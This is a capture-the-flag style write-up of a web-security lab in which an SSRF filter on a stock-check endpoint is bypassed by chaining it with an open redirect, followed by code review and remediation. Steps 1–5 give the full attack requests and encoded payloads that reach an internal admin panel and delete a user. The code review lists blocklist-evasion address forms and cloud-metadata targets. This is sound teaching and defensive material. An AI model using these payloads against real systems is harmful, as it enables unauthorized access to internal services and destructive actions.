Table of Contents
- Summary
- Step 1: Baseline the stock check
- Step 2: Find a redirect
- Step 3: Confirm it's open
- Step 4: Chain it
- Step 5: Delete carlos
- Why it worked
- Code review
- Impact
- Remediation
- Takeaway
- Appendix
Summary #
While testing the application I noticed the stock check feature takes a stockApi parameter and fetches whatever URL you put in it. Classic SSRF shape: user input feeds straight into a server-side HTTP request.
The catch: the filter rejects anything that doesn't look like a path on the application itself. Pointing stockApi at http://192.168.0.12:8080/admin directly fails. So the question becomes whether there's an open redirect somewhere on the same host that the stock checker will follow. If so, the filter validates a local URL, the server fetches it, the response is a 302 to the internal admin host, and the stock checker follows the redirect right past its own restriction.
The redirect is key to aid us in bypassing the check. The filter sees a local URL. The network sees a request to 192.168.0.12.
Step 1: Baseline the stock check #
Submitting the form on a product page:
1POST /product/stock HTTP/1.1
2Host: 0a4c008803cf44018239bcf4002c00ad.web-security-academy.net
3Content-Type: application/x-www-form-urlencoded
4Cookie: session=YaBnbE8VNZpHnRwq3bZaL3DKJeryQauc
5
6stockApi=%2Fproduct%2Fstock%2Fcheck%3FproductId%3D1%26storeId%3D2
Decoded, stockApi is /product/stock/check?productId=1&storeId=2. Response:
1HTTP/1.1 200 OK
2Content-Type: text/plain; charset=utf-8
3Content-Length: 3
4
5440
So the server fetches whatever path stockApi points at and returns the body verbatim. Setting stockApi=http://192.168.0.12:8080/admin directly fails because the filter wants a local path. Need a different angle.
Step 2: Find a redirect #
Clicking through products in the catalog generates this:
1GET /product/nextProduct?currentProductId=1&path=/product?productId=2 HTTP/1.1
2Host: 0a4c008803cf44018239bcf4002c00ad.web-security-academy.net
1HTTP/1.1 302 Found
2Location: /product?productId=2
The Location header is the path parameter, byte for byte. That's the smell. Doesn't prove anything yet (path could be on an allowlist of valid product routes), but it's worth a poke.
Step 3: Confirm it's open #
Send to replay, swap path for an external host:
1GET /product/nextProduct?path=http://example.com HTTP/1.1
2Host: 0a4c008803cf44018239bcf4002c00ad.web-security-academy.net
1HTTP/1.1 302 Found
2Location: http://example.com
3Content-Length: 0
No allowlist. No scheme check. No host validation. Whatever goes in, comes back out. Any URL works, including RFC 1918.
The same trick on /product directly gets rejected:
1HTTP/1.1 400 Bad Request
2Content-Type: application/json; charset=utf-8
3
4"Missing parameter: productId"
So the redirect primitive lives at /product/nextProduct specifically. That's what to chain.
Step 4: Chain it #
Stock checker fetches local URLs. /product/nextProduct redirects anywhere. Point one at the other.
Decoded payload:
1/product/nextProduct?path=http://192.168.0.12:8080/admin
Encoded into stockApi:
1POST /product/stock HTTP/1.1
2Host: 0a4c008803cf44018239bcf4002c00ad.web-security-academy.net
3Content-Type: application/x-www-form-urlencoded
4Cookie: session=WYINvrjoAtBoN9BRQktELcrIyl3oQhWb
5
6stockApi=%2Fproduct%2FnextProduct%3Fpath%3Dhttp%3A%2F%2F192%2E168%2E0%2E12%3A8080%2Fadmin
Response body is the admin panel:
1<h1>Users</h1>
2<div>
3 <span>wiener - </span>
4 <a href="/http://192.168.0.12:8080/admin/delete?username=wiener">Delete</a>
5</div>
6<div>
7 <span>carlos - </span>
8 <a href="/http://192.168.0.12:8080/admin/delete?username=carlos">Delete</a>
9</div>
Filter saw a local path. Server followed the 302. Internal admin response came back in the body. Done.
Step 5: Delete carlos #
Same chain, just append the delete path to the redirect target:
1POST /product/stock HTTP/1.1
2Host: 0a4c008803cf44018239bcf4002c00ad.web-security-academy.net
3Content-Type: application/x-www-form-urlencoded
4Cookie: session=WYINvrjoAtBoN9BRQktELcrIyl3oQhWb
5
6stockApi=%2Fproduct%2FnextProduct%3Fpath%3Dhttp%3A%2F%2F192%2E168%2E0%2E12%3A8080%2Fadmin%2Fdelete%3Fusername%3Dcarlos
1<p>User deleted successfully!</p>
2<h1>Users</h1>
3<div>
4 <span>wiener - </span>
5 <a href="/http://192.168.0.12:8080/admin/delete?username=wiener">Delete</a>
6</div>
Lab solved.
Why it worked #
Two bugs, neither fatal alone, fatal together.
The stock checker validates stockApi against a local-host rule, then hands the URL to an HTTP client that follows redirects without re-checking. The filter is asking "is this URL local?" The network is asking "where does this request actually end up?" Different questions, different answers. The filter wins the first one and loses the second.
The /product/nextProduct endpoint reflects its path parameter into a Location header with no validation. Open redirects are already a problem on their own (phishing, OAuth bounce-back, SSO token theft all love them). Pair one with a credulous server-side fetcher and it stops being a phishing tool and becomes a way to lie to the SSRF filter about where the request is going.
The shared assumption underneath both bugs: that input validation controls where traffic goes. It doesn't. Redirects, DNS, and host resolution all happen after the validation step, and any of them can rewrite the destination.
Code review #
The pattern to spot: a server-side fetch where the destination is validated once, before the request, and the HTTP client follows redirects.
Vulnerable #
1import requests
2from urllib.parse import urlparse
3from flask import Flask, request, abort
4
5app = Flask(__name__)
6
7@app.route("/product/stock", methods=["POST"])
8def stock_check():
9 stock_api = request.form.get("stockApi")
10
11 parsed = urlparse(stock_api)
12 if parsed.netloc and parsed.netloc != "0a4c...web-security-academy.net":
13 abort(400)
14
15 response = requests.get(f"https://{request.host}{stock_api}")
16 return response.text
The host check looks fine. It isn't. requests.get follows up to thirty redirects by default, and each hop can land anywhere. The check fires once, on the URL the server is asked to fetch, not the URL it ends up actually fetching.
Wrong fix: substring blocklist #
1BLOCKED_HOSTS = ["127.0.0.1", "localhost", "192.168.", "10.", "169.254."]
2
3def is_internal(url):
4 return any(blocked in url for blocked in BLOCKED_HOSTS)
5
6@app.route("/product/stock", methods=["POST"])
7def stock_check():
8 stock_api = request.form.get("stockApi")
9
10 if is_internal(stock_api):
11 abort(400)
12
13 response = requests.get(f"https://{request.host}{stock_api}")
14 return response.text
Looks like a fix. Isn't. The attacker never puts 192.168.0.12 in stockApi, so the filter never sees that string. The internal address shows up in the Location header generated by a different endpoint, after the filter's already cleared the request. Filtering input strings can't catch a destination that gets constructed elsewhere.
Also: substring blocklists die to 0.0.0.0, 2130706433 (decimal 127.0.0.1), [::1], DNS records that resolve to private IPs, IPv6-mapped IPv4 addresses, and so on. Even ignoring the redirect bypass, this fix is a sieve.
Right fix: no implicit redirects, validate every hop #
1import ipaddress
2import socket
3from urllib.parse import urlparse, urljoin
4import requests
5from flask import Flask, request, abort
6
7app = Flask(__name__)
8
9ALLOWED_HOST = "0a4c...web-security-academy.net"
10MAX_REDIRECTS = 5
11
12def host_is_safe(url):
13 parsed = urlparse(url)
14 if parsed.hostname is None:
15 return True # relative path on the local host
16 if parsed.hostname != ALLOWED_HOST:
17 return False
18 try:
19 for info in socket.getaddrinfo(parsed.hostname, None):
20 ip = ipaddress.ip_address(info[4][0])
21 if ip.is_private or ip.is_loopback or ip.is_link_local:
22 return False
23 except socket.gaierror:
24 return False
25 return True
26
27@app.route("/product/stock", methods=["POST"])
28def stock_check():
29 stock_api = request.form.get("stockApi")
30 current_url = urljoin(f"https://{ALLOWED_HOST}", stock_api)
31
32 for _ in range(MAX_REDIRECTS):
33 if not host_is_safe(current_url):
34 abort(400)
35
36 response = requests.get(current_url, allow_redirects=False)
37
38 if response.status_code in (301, 302, 303, 307, 308):
39 current_url = urljoin(current_url, response.headers["Location"])
40 continue
41
42 return response.text
43
44 abort(400)
Validation runs at every hop. Hostname check rejects external targets. IP resolution check rejects hostnames that resolve into private space, which also kills the DNS rebinding variant. Each redirect is a brand-new request that has to clear the same bar as the original.
The open redirect at /product/nextProduct is a separate fix. Redirect by resource ID, not by URL: /product/nextProduct?currentProductId=1 with the lookup done server-side. User input never touches the Location header.
Impact #
Full SSRF against anything the application server can route to. In this lab that's an admin panel and a destructive delete. In a real environment: cloud metadata at 169.254.169.254 (instance role tokens, IAM credentials), internal Kubernetes APIs, Redis or Elasticsearch on localhost, internal CI/CD, neighboring services that authenticate by network position. The original endpoint's Content-Type is irrelevant, since the body comes back verbatim, so anything HTTP-readable is readable, and any GET-triggered side effect is reachable.
Remediation #
Both halves need fixing. Closing one and leaving the other keeps the primitive available for the next chain.
Server-side fetcher: turn off implicit redirect following. Treat every hop as a new outbound request, validate the hostname against the allowlist, resolve to an IP, reject anything in private space. Validation has to live at the network destination, not the input string.
Redirect endpoint: stop taking URLs as parameters. Redirect by resource ID and look the URL up server-side. If a URL parameter is genuinely required, validate it resolves to a known same-host route and reject anything with a scheme or authority.
Defense in depth: the application server shouldn't have a network route to internal management interfaces in the first place. Egress filtering that blocks outbound connections to RFC 1918 turns this whole class of bug from "admin compromise" into a logged 400.
What doesn't work: substring blocklists, regex-based URL filters, blocking only 127.0.0.1, validating only the first hop. All of these have been bypassed publicly and repeatedly.
Takeaway #
An SSRF filter that validates the input URL but follows redirects implicitly isn't protecting what it looks like it's protecting. The destination of an HTTP request is decided at network time, not parse time, and anything that can rewrite that destination (open redirects, attacker-controlled DNS, hostnames with multiple A records) sits on the wrong side of the filter.
When testing a server-side fetcher, an in-scope input filter is a hint: go look for redirect primitives elsewhere on the host. When building one, validate every hop.
Appendix #
Portswigger - URL validation bypass cheat sheet